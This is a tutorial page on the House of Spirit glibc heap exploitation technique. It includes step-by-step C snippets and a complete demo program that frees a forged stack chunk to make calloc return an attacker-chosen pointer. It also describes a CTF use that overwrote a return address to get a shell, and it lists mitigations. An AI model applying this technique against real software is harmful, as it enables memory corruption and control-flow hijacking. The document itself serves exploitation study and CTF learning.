Skip to main content

Overview

The House of Spirit is a heap exploitation technique that allows an attacker to trick malloc into returning a nearly-arbitrary pointer by freeing a fake chunk. This technique adds a non-heap pointer into the fastbin, leading to (nearly) arbitrary write capabilities.
This technique works on the latest glibc versions and is still relevant in modern exploitation.

Glibc Version Compatibility

VersionStatusNotes
glibc 2.23+✅ WorkingOriginal technique
glibc 2.26+✅ WorkingRequires tcache bypass
Latest✅ WorkingMust fill tcache first
Ret2 Wargames Practice: Try this technique hands-on at House of Spirit Interactive Challenge

What This Technique Achieves

The House of Spirit enables:
  • Nearly-arbitrary pointer allocation: Force malloc to return a pointer to attacker-controlled memory
  • Stack exploitation: Allocate chunks on the stack for control flow hijacking
  • Memory region control: Write to specific memory regions without direct write primitives

Prerequisites and Constraints

This technique requires:
  1. Known target address - You must know where you want malloc to return
  2. Memory control - Ability to set up fake chunk metadata at the target location
  3. Size constraints - Fake chunk must be in fastbin range (≤ 128 bytes on x64)
  4. Alignment - The fake chunk address must be 16-byte aligned
  5. Tcache bypass - On modern glibc (2.26+), must fill tcache first

How It Works

1

Fill the tcache (modern glibc only)

On glibc 2.26+, allocate and free 7 chunks to fill the tcache for the target size. This forces subsequent frees to go to fastbins.
void *chunks[7];
for(int i=0; i<7; i++) {
    chunks[i] = malloc(0x30);
}
for(int i=0; i<7; i++) {
    free(chunks[i]);
}
2

Create the fake chunk

Set up fake chunk metadata in your target memory region. The fake chunk must have:
  • Valid size field (in fastbin range, typically 0x40 for 0x30 request)
  • Size of next chunk must pass sanity checks (> 16 bytes and < 128KB)
long fake_chunks[10] __attribute__ ((aligned (0x10)));
fake_chunks[1] = 0x40;     // Size of fake chunk
fake_chunks[9] = 0x1234;   // Size of next chunk (for checks)
3

Free the fake chunk

Call free() on the user data portion of the fake chunk (not the chunk header).
void *victim = &fake_chunks[2];  // Skip size fields
free(victim);
4

Retrieve the fake chunk

Call malloc() to get your fake chunk back. Use calloc() to bypass tcache on first allocation.
void *allocated = calloc(1, 0x30);
// allocated now points to your fake chunk!

Complete Source Code

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);

	puts("This file demonstrates the house of spirit attack.");
	puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.");
	puts("Required primitives: known target address, ability to set up the start/end of the target memory");

	puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache");
	void *chunks[7];
	for(int i=0; i<7; i++) {
		chunks[i] = malloc(0x30);
	}
	for(int i=0; i<7; i++) {
		free(chunks[i]);
	}

	puts("\nStep 2: Prepare the fake chunk");
	// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
	long fake_chunks[10] __attribute__ ((aligned (0x10)));
	printf("The target fake chunk is at %p\n", fake_chunks);
	printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]);
	printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
	puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.");
	printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]);
	fake_chunks[1] = 0x40; // this is the size

	printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
	printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]);
	fake_chunks[9] = 0x1234; // nextsize

	puts("\nStep 3: Free the first fake chunk");
	puts("Note that the address of the fake chunk must be 16-byte aligned.\n");
	void *victim = &fake_chunks[2];
	free(victim);

	puts("\nStep 4: Take out the fake chunk");
	printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]);
	printf("malloc can do the trick as well, you just need to do it for 8 times.");
	void *allocated = calloc(1, 0x30);
	printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim);

	assert(allocated == victim);
}

Technical Deep Dive

Chunk Size Constraints

The fake chunk size must satisfy multiple conditions:
  1. Fastbin range: Size must be ≤ 128 bytes on x64 (≤ 64 bytes on x86)
  2. Alignment: Size must be aligned to 16 bytes on x64 (8 bytes on x86)
  3. Flag bits:
    • PREV_INUSE bit (LSB) is ignored for fastbins
    • IS_MMAPPED bit (2nd LSB) must be 0
    • NON_MAIN_ARENA bit (3rd LSB) must be 0

Next Chunk Validation

When freeing a chunk, glibc validates the next chunk:
// Simplified check from malloc.c
size_t nextsize = chunksize(nextchunk);
if (nextsize <= 2 * SIZE_SZ || nextsize >= av->system_mem)
    malloc_printerr("free(): invalid next size");
The next chunk size must be:
  • Greater than 16 bytes (2 * SIZE_SZ on x64)
  • Less than 128KB (default system_mem for main arena)

Tcache vs Fastbin

On glibc 2.26+, the tcache is checked first:
  • Tcache holds up to 7 chunks per size
  • After tcache is full, chunks go to fastbins
  • Must fill tcache before House of Spirit works
  • Alternative: use tcache_house_of_spirit variant

Tcache House of Spirit

Modern variant using tcache instead of fastbins

Fastbin Dup Into Stack

Alternative approach using fastbin duplication

CTF Challenges

Challenge: OREO cookie management system with heap overflowExploitation: Used House of Spirit to allocate a fake chunk on the stack, overwrite return addressWriteup: CTF WriteupKey Points:
  • Created fake chunk on stack with proper size fields
  • Freed fake chunk to add it to fastbin
  • Next allocation returned stack pointer
  • Overwrote saved instruction pointer for shell

Common Pitfalls

Alignment Issues: The most common mistake is not ensuring 16-byte alignment of the fake chunk address. Use __attribute__ ((aligned (0x10))) or manually align addresses.
Size Field Errors: Remember that the size field includes both the header and data. For a malloc(0x30) request, the chunk size is 0x40 (48 bytes + 16-byte header = 64 = 0x40).
Next Chunk Not Set: Forgetting to set up the next chunk’s size field will cause a crash during free(). Always set a valid next chunk size.

Mitigations

This technique has not been patched in glibc. Effective mitigations include:
  • Heap isolation: Prevent mixing heap and stack/data pointers
  • Metadata checksums: Some custom allocators verify chunk metadata
  • Guard pages: Place guard pages around sensitive memory regions
  • Address sanitization: Tools like ASan detect fake chunk frees

See Also

Build docs developers (and LLMs) love